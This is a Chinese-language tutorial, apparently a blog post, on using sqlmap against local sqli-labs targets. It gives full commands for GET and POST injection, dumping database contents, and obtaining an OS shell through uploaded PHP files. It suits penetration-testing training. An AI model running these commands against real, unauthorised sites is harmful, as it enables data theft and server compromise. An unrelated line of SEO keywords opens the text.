ios 软件开发,关于seo的行业岗位有哪些,规划和设计一个网站,做网站用c 还是phpSQL注入之sqlmap
6.1 SQL注入之sqlmap安装
sqlmap简介#xff1a;
sqlmap是一个自动化的SQL注入工具#xff0c;其主要功能是扫描#xff0c;发现并利用给定的URL的SQL注入漏洞#xff0c;目前支持的数据库是MS-SQL,MYSQL,ORACLE和POSTGRESQL。SQLMAP采用四种独特的SQL注…SQL注入之sqlmap
6.1 SQL注入之sqlmap安装
sqlmap简介
sqlmap是一个自动化的SQL注入工具其主要功能是扫描发现并利用给定的URL的SQL注入漏洞目前支持的数据库是MS-SQL,MYSQL,ORACLE和POSTGRESQL。SQLMAP采用四种独特的SQL注入技术分别是盲推理SQL注入UNION查询SQL注入堆查询和基于时间的SQL盲注入。其广泛的功能和选项包括数据库指纹枚举数据库提取访问目标文件系统并在获取完全操作权限时实行任意命令。
准备工作
(1) Python
https://www.python.org/ 默认全选下一步 更改安装路径即可 (2) SQLMap
https://sqlmap.org/
下载sqlmap 下载完成进行解压文件推荐除C盘以外其他盘符 在安装路径下输入cmd 启动cmd输入sqlmap.py 检测是否运行成功 6.2 SQL注入之sqlmap使用(get型注入)
一、SQLMap介绍 Sqlmap简介 Sqlmap是一个开源的渗透测试工具可以用来自动化的检测利用SQL注入漏洞获取数据库服务器的权限。它具有功能强大的检测引擎针对各种不同类型数据库的渗透测试的功能选项包括获取数据库中存储的数据访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。 目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。 Sqlmap支持的注入方式 Sqlmap全面支持六种SQL注入技术 基于布尔类型的盲注即可以根据返回页面判断条件真假的注入。基于时间的盲注即不能根据页面返回的内容判断任何信息要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。基于报错注入即页面会返回错误信息或者把注入的语句的结果直接返回到页面中。联合查询注入在可以使用Union的情况下的注入。堆查询注入可以同时执行多条语句时的注入。带外注入构造SQL语句这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式攻击者可以收集数据或可能控制数据库的行为。
二、SQLMap使用
判断是否存在注入
假设目标注入点是 http://127.0.0.1/sqli-labs/Less-1/?id1判断其是否存在注入的命令如下
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id1当注入点后面的参数大于等于两个时,需要加双引号如下所示。
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id1uid2运行完判断是否存在注入的语句后爆出一大段代码这里有三处需要选择的地方第一处的意思为检测到数据库可能是MySQL是否需要跳过检测其他数据库第二处的意思是在“level1、risk1”的情况下是否使用MySQL对应的所有Payload进行检测第三处的意思是参数 id存在漏洞是否要继续检测其他参数一般默认按回车键即可。
常用命令
-u用于get提交方式后面跟注入的url网址
--level
--risk
level执行测试的等级1~5默认为1使用--level参数并且数值2的时候会检查cookie里面的参数当3时检查user-agent和referer
risk执行测试的风险0~3,默认为1默认是1会测试大部分的测试语句2会增加基于事件的测试语句3会增加or语句的sql注入--dbs获取所有数据库
--tales获取所有数据表
--columns获取所有字段
--dump打印数据-D查询选择某个库
-T查询选择某个表
-C查询选择某个字段6.3 SQL注入之sqlmap使用(post型注入)
POST型与数据库交互是通过post数据进行URL不可见
利用sqlmap进行POST注入常见的有三种方法
注入方式一使用最多 用Burp抓包然后保存抓取到的内容。例如保存为1.txt然后把它放至某个目录下 列数据库 sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname --dbs 也可以使用 * 指定需要测试的参数不推荐 it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n] 它看起来像后端DBMS是’MySQL’。 是否要跳过特定于其他DBMS的测试负载 [Y/n] 输入Y 1for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n] 对于剩余的测试您想要包括所有针对“MySQL”扩展提供的级别1和风险1值的测试吗 [Y/n] 输入N 1POST parameter ‘n’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] POST参数’n’是脆弱的。 你想继续测试其他的如果有的话吗[y/N] 输入Y 猜表 选择一个数据库比如选test sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D test --tables 猜列 sqlmap.py -r C:\Users\ZQ\Desktop\1.txt -p uname -D test -T t1 --columns
注入方式二自动搜索表单的方式
sqlmap.py -u “http://localhost/sqli-labs-master/Less-11/index.php” --forms do you want to test this form? [Y/n/q] 要测试此表单吗?[Y/n/q] 输入Y
do you want to fill blank fields with random values? [Y/n] 是否要填充带有随机值的空白字段? [Y/n] 输入Y
it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n] 它看起来像后端DBMS是’MySQL’。 是否要跳过特定于其他DBMS的测试负载 [Y/n] 输入Y
for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n] 对于剩余的测试您想要包括所有针对“MySQL”扩展提供的级别1和风险1值的测试吗[Y/n] 输入N
POST parameter ‘n’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] POST参数’n’是脆弱的。 你想继续测试其他人如果有的话吗[y/N] 输入N
do you want to exploit this SQL injection? [Y/n] 你想利用SQL注入 输入Y 常用命令
-r表示加载一个文件-p指定参数
--current-db 当前数据库
--forms 自动检测表单
-data 指定表单里的某个数据用的少6.4 SQL注入之sqlmap获取shell
–os-shell的执行条件有四个
1网站数据库必须是root权限
2攻击者需要知道网站的绝对路径
3GPC为offPHP主动转义的功能关闭
4secure_file_priv无限制
首先使用 --is-dba命令查看是否为管理员若不是则无法使用–os-shell命令。
或者可以使用 --users 查看账号权限
sqlmap -r 1.txt --users --level3
os-shell 执行原理
--os-shell的本质就是写入两个php文件其中的tmpumjti.php可以让我们上传文件到网站路径下
sqlmap就会通过上面那个php上传一个用于命令执行的tmpubpwk.php到网站路径下让我们执行命令并将输出的内容返回到sqlmap端。
总结
sqlmap的--os-shell在mysql数据库中的原理其实就是往服务器上写入了两个php其中一个给我们提供了文件上传的页面可以通过这个上传页面上传脚本到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行命令行也可以在网页url中通过cmd参数传参执行系统命令。